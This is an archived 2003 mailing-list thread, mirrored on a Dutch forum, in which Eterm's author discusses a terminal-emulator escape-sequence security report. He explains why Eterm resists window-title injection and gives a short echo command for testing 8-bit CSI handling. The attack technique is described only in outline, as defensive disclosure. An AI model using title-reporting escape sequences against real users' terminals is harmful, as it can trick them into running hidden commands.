    Yup. Major brain fart there. It was always intended solely as an
    interim measure, but I failed to fully consider its implications.

    > * arbitrary file creation with user-defined content (via clear screen)
    > * shared feature-sets with xterm, rxvt, etc
    > * great documentation for all of these features


    If only users were as thorough in their perusal of the documentation
    as you were.... :-)

    > The vendor coordination was done through the vendor-sec mailing list
    > with about a three-week head start prior to disclosure. There really
    > weren't many true "bugs" found, just about everything covered was
    > implemented deliberately and could be found in the documentation of
    > the app. There had already been a number of debates on the
    > exploitability of these features, so this paper was more of a FAQ
    > than any sort of advisory. It wasn't my intention to catch anyone
    > off-guard on this, just to bring these issues back into the
    > limelight for a while and see if other people had a similar take on
    > them.


    Understood. As I mentioned, the only thing you mentioned that I
    didn't know of (and the only thing to which 0.9.2 is vulnerable) was
    the title setting issue, which I would just like to say was an
    absolutely *brilliant* piece of work. Never would I have thought to
    combine such a seemingly innocuous feature with a creative bit of
    social engineering to such a potentially devastating effect.

    Truly impressive, as was the report overall. Kudos.

    Michael

    --
    Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <mej@kainx.org>
    n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
    -----------------------------------------------------------------------
    "I don't care if you win or lose, just as long as you win."
    -- Vince Lombardi

  6. #6
    Michael Jennings
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    > > Would stripping escape sequences from the window title work? Do you
    > > know of any applications that actually use this feature?

    >
    > ...snip...
    >
    > (Incidentally, I was unable to embed any such sequences in the
    > title/icon name in 0.9.2 anyway...but I didn't try for very long, so
    > I may have missed something.)


    After further investigation, I'd like to point out the following:

    Eterm has *never* allowed any control characters in its title/icon
    name sequences. The following bit of code has existed at least since
    Eterm was first committed to CVS:

    else if (ch < ' ')
    return; /* control character - exit */

    in term.c:rocess_xterm_seq(), line 1270 or so.

    So there was never any way to get escape sequences in the title to
    begin with, meaning that the command cannot be hidden using any
    character attributes or background/foreground color matching.

    Furthermore, the title which is printed via the \e[21t sequence is
    limited to just under 1024 characters, which is not enough to cause
    the command to scroll off the screen on any but the smallest of
    terminals.

    Thus, the following footnote from the original report applies to Eterm
    as well:

    [1] Although putty would place the title onto the command-line, we
    were not able to find a method of hiding the command, since
    neither the "invisible" character attribute nor the foreground
    color could be set. Putty has a relatively low limit to the number
    of characters that can be placed into the window title, so it is
    not possible to simply flood the screen with garbage and hope the
    command rolls past the current view.

    Having said all that, it would seem that Eterm 0.9.2 is not vulnerable
    to ANY of the issues mentioned in this report. As such, all
    distributions shipping older versions of Eterm should be safe after
    upgrading to 0.9.2. To that end, Eterm source and RPM packages are
    available for download at http://www.eterm.org/download/ for any
    vendor/user with 0.9.1 or earlier.

    Hope that clears everything up. :-)

    Regards,
    Michael

    --
    Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <mej@kainx.org>
    n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
    -----------------------------------------------------------------------
    "By the time they had diminished from 50 to 8, the other dwarves
    began to suspect 'Hungry' ..." -- Gary Larson, "The Far Side"

  7. #7
    Kenn Humborg
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    RE: Terminal Emulator Security Issues

    > After further investigation, I'd like to point out the following:
    >
    > Eterm has *never* allowed any control characters in its title/icon
    > name sequences. The following bit of code has existed at least since
    > Eterm was first committed to CVS:
    >
    > else if (ch < ' ')
    > return; /* control character - exit */
    >
    > in term.c:rocess_xterm_seq(), line 1270 or so.
    >
    > So there was never any way to get escape sequences in the title to
    > begin with, meaning that the command cannot be hidden using any
    > character attributes or background/foreground color matching.


    What about the CSI character, code 155 (128+27), which DEC terminals
    (from at least vt220) interpret as a "shorthand" for "ESC ["?

    http://vt100.net/docs/vt220-rm/chapter2.html#S2.5.2

    Later,
    Kenn


  8. #8
    Michael Jennings
    Terminal Emulator Security Issues
    Gast
    n/a Berichten
    Berichten zijn liked



    Thread Starter

    Re: Terminal Emulator Security Issues

    On Monday, 03 March 2003, at 17:43:28 (-0000),
    Kenn Humborg wrote:

    > What about the CSI character, code 155 (128+27), which DEC terminals
    > (from at least vt220) interpret as a "shorthand" for "ESC ["?


    Eterm is a vt102 emulator, not a vt220 emulator. It does not support
    the 8-bit version of the CSI. You can test this using:

    echo -e "\23321t"

    You'll get that exact same string in reponse.

    It may be supported at some point in the future, however, in which
    case it would be considered a control character just like any other.

    Michael

    --
    Michael Jennings (a.k.a. KainX) http://www.kainx.org/ <mej@kainx.org>
    n + 1, Inc., http://www.nplus1.net/ Author, Eterm (www.eterm.org)
    -----------------------------------------------------------------------
    "Three six nine, the goose drank wine; the monkey chewed tobacco on
    the street car line. The line broke, the monkey got choked, and
    they all went to heaven in a little row boat." -- Nursery Rhyme

Webhostingtalk.nl

Contact

  • Rokin 113-115
  • 1012 KP, Amsterdam
  • Nederland
  • Contact
© Copyright 2001-2026 Webhostingtalk.nl.
Web Statistics